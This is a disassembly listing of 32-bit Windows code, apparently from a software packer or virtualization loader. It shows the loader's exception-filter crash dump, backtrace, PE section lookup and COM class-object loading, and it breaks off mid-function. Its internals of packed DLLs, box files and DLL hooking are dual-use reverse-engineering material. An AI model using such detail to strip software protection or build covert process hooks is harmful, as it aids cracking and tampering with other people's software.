movzx eax, [ebp+arg_0] cmp eax, 66h jg short loc_508A0C movzx eax, [ebp+arg_0] sub eax, 57h jmp short loc_508A14 ; --------------------------------------------------------------------------- loc_508A0C: ; CODE XREF: sub_5089B8+40j ; sub_5089B8+49j mov eax, [ebp+arg_4] mov byte ptr [eax], 1 xor eax, eax loc_508A14: ; CODE XREF: sub_5089B8+1Cj ; sub_5089B8+37j ... pop ebp retn sub_5089B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508A16 proc near ; CODE XREF: sub_50153F+2DEp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E540 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 40h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz loc_508BF5 call ds:dword_5116E8 ; GetCurrentProcessId mov [ebp+var_1C], eax push 5Ch push [ebp+arg_0] call sub_4FC700 pop ecx pop ecx mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_508A71 mov eax, [ebp+var_24] inc eax mov [ebp+arg_0], eax loc_508A71: ; CODE XREF: sub_508A16+52j mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_20], ecx cmp [ebp+var_20], 4 jle loc_508BF5 push 4 pop ecx mov edi, offset aMbx@ ; "MBX@" mov esi, [ebp+arg_0] xor eax, eax mov [ebp+var_34], eax repe cmpsb jz short loc_508AA7 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_34], eax loc_508AA7: ; CODE XREF: sub_508A16+87j mov eax, [ebp+var_34] mov [ebp+var_38], eax cmp [ebp+var_38], 0 jnz loc_508BF5 mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax push 40h push [ebp+arg_0] call sub_4FC640 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_508BF5 and [ebp+var_30], 0 and [ebp+var_2C], 0 loc_508AE1: ; CODE XREF: sub_508A16+FCj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_3C], al push [ebp+var_3C] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_5089B8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_508AE1 movzx eax, [ebp+var_2C] test eax, eax jnz loc_508BF5 mov eax, [ebp+var_30] cmp eax, [ebp+var_1C] jnz loc_508BF5 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push 2Eh push [ebp+arg_0] call sub_4FC640 pop ecx pop ecx mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_508BF5 and [ebp+var_30], 0 loc_508B50: ; CODE XREF: sub_508A16+16Bj lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] mov al, [eax] mov byte ptr [ebp+var_40], al push [ebp+var_40] mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax call sub_5089B8 pop ecx pop ecx and eax, 0Fh mov ecx, [ebp+var_30] shl ecx, 4 or eax, ecx mov [ebp+var_30], eax mov eax, [ebp+arg_0] cmp eax, [ebp+var_28] jnz short loc_508B50 movzx eax, [ebp+var_2C] test eax, eax jnz short loc_508BF5 mov [ebp+var_44], offset a__3 ; ".###" mov eax, [ebp+arg_0] mov [ebp+var_48], eax loc_508B98: ; CODE XREF: sub_508A16+1B4j mov eax, [ebp+var_48] mov al, [eax] mov [ebp+var_49], al mov ecx, [ebp+var_44] cmp al, [ecx] jnz short loc_508BD2 cmp [ebp+var_49], 0 jz short loc_508BCC mov eax, [ebp+var_48] mov al, [eax+1] mov [ebp+var_4A], al mov ecx, [ebp+var_44] cmp al, [ecx+1] jnz short loc_508BD2 add [ebp+var_48], 2 add [ebp+var_44], 2 cmp [ebp+var_4A], 0 jnz short loc_508B98 loc_508BCC: ; CODE XREF: sub_508A16+195j and [ebp+var_50], 0 jmp short loc_508BDA ; --------------------------------------------------------------------------- loc_508BD2: ; CODE XREF: sub_508A16+18Fj ; sub_508A16+1A6j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_50], eax loc_508BDA: ; CODE XREF: sub_508A16+1BAj mov eax, [ebp+var_50] mov [ebp+var_54], eax cmp [ebp+var_54], 0 jnz short loc_508BF5 mov eax, [ebp+var_30] mov [ebp+var_58], eax or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_58] jmp short loc_508C08 ; --------------------------------------------------------------------------- loc_508BF5: ; CODE XREF: sub_508A16+30j ; sub_508A16+6Fj ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_508C06 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_508C06: ; CODE XREF: sub_508A16+1E3j xor eax, eax loc_508C08: ; CODE XREF: sub_508A16+1DDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_508A16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508C17 proc near ; CODE XREF: sub_4FD2E0+3F8p push ebp mov ebp, esp push offset sub_508C27 call ds:dword_511790 ; SetUnhandledExceptionFilter pop ebp retn sub_508C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508C27 proc near ; CODE XREF: sub_505BD7+367p ; sub_506B7F+3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset a__seh__0xXAt0x ; "__SEH__ 0x%x at 0x%x" call sub_508726 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+98h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0BCh] push offset aCs0x08xSs0x08x ; "CS :0x%08X SS :0x%08X DS :0x%08X" call sub_508726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+8Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+90h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+94h] push offset aEs0x08xFs0x08x ; "ES :0x%08X FS :0x%08X GS :0x%08X" call sub_508726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] push offset aEax0x08xEdx0x0 ; "EAX:0x%08X EDX:0x%08X ECX:0x%08X" call sub_508726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] push offset aEsp0x08xEbp0x0 ; "ESP:0x%08X EBP:0x%08X EIP:0x%08X" call sub_508726 add esp, 10h mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] push offset aEsi0x08xEdi0x0 ; "ESI:0x%08X EDI:0x%08X" call sub_508726 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] call sub_50918E add esp, 0Ch and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, 11000000h mov [ebp+var_8], eax cmp [ebp+var_8], 16h ja loc_508E67 mov eax, [ebp+var_8] jmp ds:off_508E97[eax*4] loc_508D8E: ; DATA XREF: _5:off_508E97o mov [ebp+var_4], offset aAssertionFai_1 ; "ASSERTION FAILED" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508D9A: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508E9Bo mov [ebp+var_4], offset aHasNoAccessToE ; "HAS NO ACCESS TO EXECUTABLE" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DA6: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508E9Fo mov [ebp+var_4], offset aExecutableIsNo ; "EXECUTABLE IS NOT NT IMAGE" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DB2: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EC7o mov [ebp+var_4], offset aDynamicLibrary ; "DYNAMIC LIBRARY IS NOT NT IMAGE" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DBE: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EA3o mov [ebp+var_4], offset aExecutableCorr ; "EXECUTABLE CORRUPTED" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DCA: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EA7o mov [ebp+var_4], offset aPathIsVeryLong ; "PATH IS VERY LONG" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DD6: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EABo mov [ebp+var_4], offset aCouldNotOpenBo ; "COULD NOT OPEN BOXFILE" jmp loc_508E67 ; --------------------------------------------------------------------------- loc_508DE2: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EAFo mov [ebp+var_4], offset aReadBoxfileErr ; "READ BOXFILE ERROR" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508DEB: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EB3o mov [ebp+var_4], offset aBoxfileCorrupt ; "BOXFILE CORRUPTED" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508DF4: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EB7o mov [ebp+var_4], offset aFeatureIsNotIm ; "FEATURE IS NOT IMPLEMENTED" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508DFD: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EBBo mov [ebp+var_4], offset aOutOfMemory ; "OUT OF MEMORY" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E06: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EBFo mov [ebp+var_4], offset aWrappersTableB ; "WRAPPERS TABLE BROKEN" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E0F: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EC3o mov [ebp+var_4], offset aVirtualprote_0 ; "VIRTUALPROTECT BROKEN" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E18: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508ECBo mov [ebp+var_4], offset aCouldNotCreate ; "COULD NOT CREATE HEAP" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E21: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508ECFo mov [ebp+var_4], offset aHeapCorrupted ; "HEAP CORRUPTED" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E2A: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508ED7o mov [ebp+var_4], offset aDllCorrupted ; "DLL CORRUPTED" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E33: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EE7o mov [ebp+var_4], offset aInvalidCompres ; "INVALID COMPRESSION/ENCRYPTION ALGORITH"... jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E3C: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508ED3o mov [ebp+var_4], offset aPackedDllOrBox ; "PACKED DLL OR BOXFILE CORRUPTED" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E45: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EDBo mov [ebp+var_4], offset aHookingDllErro ; "HOOKING DLL ERROR" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E4E: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EDFo mov [ebp+var_4], offset aGetmodulenameE ; "GetModuleName ERROR" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E57: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EE3o mov [ebp+var_4], offset aBadFuulname ; "BAD FUULNAME" jmp short loc_508E67 ; --------------------------------------------------------------------------- loc_508E60: ; CODE XREF: sub_508C27+160j ; DATA XREF: _5:00508EEFo mov [ebp+var_4], offset aInvalidDllRelo ; "INVALID DLL RELOCATION" loc_508E67: ; CODE XREF: sub_508C27+157j ; sub_508C27+160j ... cmp [ebp+var_4], 0 jz short loc_508E8C push 0 push 0 call ds:dword_5117C4 ; ChangeDisplaySettingsA push 10h push ds:off_50E4F4 push [ebp+var_4] push 0 call ds:dword_5117D0 ; MessageBoxA jmp short loc_508E90 ; --------------------------------------------------------------------------- loc_508E8C: ; CODE XREF: sub_508C27+244j xor eax, eax jmp short locret_508E93 ; --------------------------------------------------------------------------- loc_508E90: ; CODE XREF: sub_508C27+263j push 1 pop eax locret_508E93: ; CODE XREF: sub_508C27+267j leave retn 4 sub_508C27 endp ; --------------------------------------------------------------------------- off_508E97 dd offset loc_508D8E ; DATA XREF: sub_508C27+160r dd offset loc_508D9A dd offset loc_508DA6 dd offset loc_508DBE dd offset loc_508DCA dd offset loc_508DD6 dd offset loc_508DE2 dd offset loc_508DEB dd offset loc_508DF4 dd offset loc_508DFD dd offset loc_508E06 dd offset loc_508E0F dd offset loc_508DB2 dd offset loc_508E18 dd offset loc_508E21 dd offset loc_508E3C dd offset loc_508E2A dd offset loc_508E45 dd offset loc_508E4E dd offset loc_508E57 dd offset loc_508E33 dd offset loc_508E67 dd offset loc_508E60 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508EF3 proc near ; CODE XREF: sub_50918E+40p ; sub_50918E+83p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E550 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp mov eax, offset dword_515A90 test eax, eax jnz short loc_508F2E mov eax, offset aBroken ; "!broken!" jmp loc_509006 ; --------------------------------------------------------------------------- loc_508F2E: ; CODE XREF: sub_508EF3+2Fj mov ecx, 100h xor eax, eax mov edi, offset dword_515A90 rep stosd and [ebp+var_4], 0 push 1Ch lea eax, [ebp+var_40] push eax push [ebp+arg_0] call ds:dword_5117B0 ; VirtualQuery test eax, eax jnz short loc_508F78 push offset a0x08xUnknownUn ; "0x%08x:[unknown]:unknown" push offset dword_515A90 call ds:dword_5117D4 ; wsprintfA pop ecx pop ecx mov [ebp+var_44], offset dword_515A90 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_44] jmp loc_509006 ; --------------------------------------------------------------------------- loc_508F78: ; CODE XREF: sub_508EF3+5Ej lea eax, [ebp+var_40] push eax call sub_5090EF pop ecx mov [ebp+var_20], eax and [ebp+var_24], 0 and [ebp+var_1C], 0 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_0] call sub_509015 add esp, 10h cmp [ebp+var_20], 0 jnz short loc_508FB1 mov [ebp+var_20], offset aUnknown_0 ; "unknown" loc_508FB1: ; CODE XREF: sub_508EF3+B5j push [ebp+var_1C] push [ebp+var_24] push [ebp+var_20] push [ebp+arg_0] push offset a0x08xS03x08x ; "0x%08x:[%s]:(%03x:%08x)" push offset dword_515A90 call ds:dword_5117D4 ; wsprintfA add esp, 18h mov [ebp+var_48], offset dword_515A90 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_48] jmp short loc_509006 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh push [ebp+arg_0] push offset aBroken0x08x ; "!broken!0x%08x:" push offset dword_515A90 call ds:dword_5117D4 ; wsprintfA add esp, 0Ch mov eax, offset dword_515A90 loc_509006: ; CODE XREF: sub_508EF3+36j ; sub_508EF3+80j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_508EF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_509015 proc near ; CODE XREF: sub_508EF3+A9p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push esi mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov ecx, [ecx+4] add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_10] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] sub ecx, [eax+4] mov [ebp+var_C], ecx and [ebp+var_4], 0 jmp short loc_509058 ; --------------------------------------------------------------------------- loc_509051: ; CODE XREF: sub_509015:loc_5090E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_509058: ; CODE XREF: sub_509015+3Aj mov eax, [ebp+var_10] movzx eax, word ptr [eax+6] cmp [ebp+var_4], eax jnb loc_5090EA mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+0Ch] mov [ebp+var_18], eax mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_4] imul ecx, 28h mov edx, [ebp+var_8] mov esi, [ebp+var_8] mov eax, [edx+eax+10h] cmp eax, [esi+ecx+8] jbe short loc_5090A6 mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+10h] mov [ebp+var_1C], eax jmp short loc_5090B6 ; --------------------------------------------------------------------------- loc_5090A6: ; CODE XREF: sub_509015+7Dj mov eax, [ebp+var_4] imul eax, 28h mov ecx, [ebp+var_8] mov eax, [ecx+eax+8] mov [ebp+var_1C], eax loc_5090B6: ; CODE XREF: sub_509015+8Fj mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_14], eax mov eax, [ebp+var_C] cmp eax, [ebp+var_18] jb short loc_5090E5 mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jnb short loc_5090E5 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+var_C] sub eax, [ebp+var_18] mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_5090EA ; --------------------------------------------------------------------------- loc_5090E5: ; CODE XREF: sub_509015+B0j ; sub_509015+B8j jmp loc_509051 ; --------------------------------------------------------------------------- loc_5090EA: ; CODE XREF: sub_509015+4Dj ; sub_509015+CEj xor al, al pop esi leave retn sub_509015 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5090EF proc near ; CODE XREF: sub_508EF3+89p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push edi push 41h pop ecx xor eax, eax mov edi, offset dword_515E90 rep stosd push 104h push offset dword_515E90 mov eax, [ebp+arg_0] push dword ptr [eax+4] call ds:dword_511714 ; GetModuleFileNameA test eax, eax jnz short loc_50911F xor eax, eax jmp short loc_50918B ; --------------------------------------------------------------------------- loc_50911F: ; CODE XREF: sub_5090EF+2Aj push 5Ch push offset dword_515E90 call sub_4FC700 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_50913C mov eax, [ebp+var_4] inc eax jmp short loc_50918B ; --------------------------------------------------------------------------- loc_50913C: ; CODE XREF: sub_5090EF+45j mov edi, offset dword_515E90 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 50h pop eax cmp eax, ecx sbb eax, eax neg eax mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_509186 mov eax, [ebp+var_8] mov ds:byte_515E40[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_515E41[eax], 2Eh mov eax, [ebp+var_8] mov ds:byte_515E42[eax], 2Eh mov eax, [ebp+var_8] lea eax, byte_515E40[eax] jmp short loc_50918B ; --------------------------------------------------------------------------- loc_509186: ; CODE XREF: sub_5090EF+6Cj mov eax, offset dword_515E90 loc_50918B: ; CODE XREF: sub_5090EF+2Ej ; sub_5090EF+4Bj ... pop edi leave retn sub_5090EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50918E proc near ; CODE XREF: sub_508C27+132p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E560 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push offset aBacktrace ; "-- backtrace --" call sub_508726 pop ecx mov eax, [ebp+arg_4] mov [ebp+var_1C], eax and [ebp+var_4], 0 push [ebp+arg_0] call sub_508EF3 pop ecx push eax push offset aS_32 ; " %s" call sub_508726 pop ecx pop ecx and [ebp+var_20], 0 jmp short loc_5091F6 ; --------------------------------------------------------------------------- loc_5091E7: ; CODE XREF: sub_50918E+96j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_1C], eax loc_5091F6: ; CODE XREF: sub_50918E+57j cmp [ebp+var_20], 40h jnb short loc_509226 cmp [ebp+var_1C], 0 jz short loc_509226 mov eax, [ebp+var_1C] cmp dword ptr [eax+4], 0 jz short loc_509226 mov eax, [ebp+var_1C] push dword ptr [eax+4] call sub_508EF3 pop ecx push eax push offset aS_32 ; " %s" call sub_508726 pop ecx pop ecx jmp short loc_5091E7 ; --------------------------------------------------------------------------- loc_509226: ; CODE XREF: sub_50918E+6Cj ; sub_50918E+72j ... or [ebp+var_4], 0FFFFFFFFh jmp short loc_509242 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_508726 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_509242: ; CODE XREF: sub_50918E+9Cj push offset aStack ; "--stack--" call sub_508726 pop ecx mov eax, [ebp+arg_8] mov [ebp+var_1C], eax mov [ebp+var_4], 1 and [ebp+var_24], 0 jmp short loc_509267 ; --------------------------------------------------------------------------- loc_509260: ; CODE XREF: sub_50918E+10Fj mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_509267: ; CODE XREF: sub_50918E+D0j cmp [ebp+var_24], 8 jnb short loc_50929F mov eax, [ebp+var_1C] push dword ptr [eax+0Ch] mov eax, [ebp+var_1C] push dword ptr [eax+8] mov eax, [ebp+var_1C] push dword ptr [eax+4] mov eax, [ebp+var_1C] push dword ptr [eax] push [ebp+var_1C] push offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x" call sub_508726 add esp, 18h mov eax, [ebp+var_1C] add eax, 10h mov [ebp+var_1C], eax jmp short loc_509260 ; --------------------------------------------------------------------------- loc_50929F: ; CODE XREF: sub_50918E+DDj or [ebp+var_4], 0FFFFFFFFh jmp short loc_5092BB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_508726 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_5092BB: ; CODE XREF: sub_50918E+115j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_50918E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5092CA proc near ; CODE XREF: sub_4FF63E+64p ; sub_50153F+2AFp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi and [ebp+var_8], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [ecx+eax+1] push eax call sub_50835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_8], eax mov ecx, [ebp+var_4] inc ecx mov esi, [ebp+arg_0] mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] pop edi pop esi leave retn sub_5092CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50931F proc near ; CODE XREF: sub_5093B3+1Fp ; sub_5098C0+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] and eax, 1 test eax, eax jnz short loc_509336 mov eax, 80004005h jmp short locret_5093B1 ; --------------------------------------------------------------------------- loc_509336: ; CODE XREF: sub_50931F+Ej push [ebp+arg_0] call sub_502D50 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_5093AC push 8 pop edx mov ecx, [ebp+var_4] call sub_5061E1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_50936C mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_5093B1 ; --------------------------------------------------------------------------- loc_50936C: ; CODE XREF: sub_50931F+3Bj and [ebp+var_C], 0 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+var_8] call ds:dword_511728 ; GetProcAddress mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_509397 mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_5093B1 ; --------------------------------------------------------------------------- loc_509397: ; CODE XREF: sub_50931F+66j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call [ebp+var_C] mov ecx, [ebp+arg_14] mov [ecx], eax xor eax, eax jmp short locret_5093B1 ; --------------------------------------------------------------------------- loc_5093AC: ; CODE XREF: sub_50931F+27j mov eax, 80004005h locret_5093B1: ; CODE XREF: sub_50931F+15j ; sub_50931F+4Bj ... leave retn sub_50931F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5093B3 proc near ; CODE XREF: sub_509518+53p ; sub_509789+43p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 1Ch and [ebp+var_4], 0 push [ebp+arg_18] lea eax, [ebp+var_4] push eax push offset dword_5111D8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_50931F add esp, 18h test eax, eax jl loc_509511 mov eax, [ebp+arg_18] cmp dword ptr [eax], 0 jge short loc_5093F4 mov eax, [ebp+arg_18] mov eax, [eax] jmp locret_509516 ; --------------------------------------------------------------------------- loc_5093F4: ; CODE XREF: sub_5093B3+35j and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_14], 0 and [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push offset dword_5111C8 push [ebp+arg_4] mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+0Ch] test eax, eax jl loc_5094BB and [ebp+var_18], 0 jmp short loc_509430 ; --------------------------------------------------------------------------- loc_509429: ; CODE XREF: sub_5093B3+F8j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_509430: ; CODE XREF: sub_5093B3+74j mov eax, [ebp+var_18] 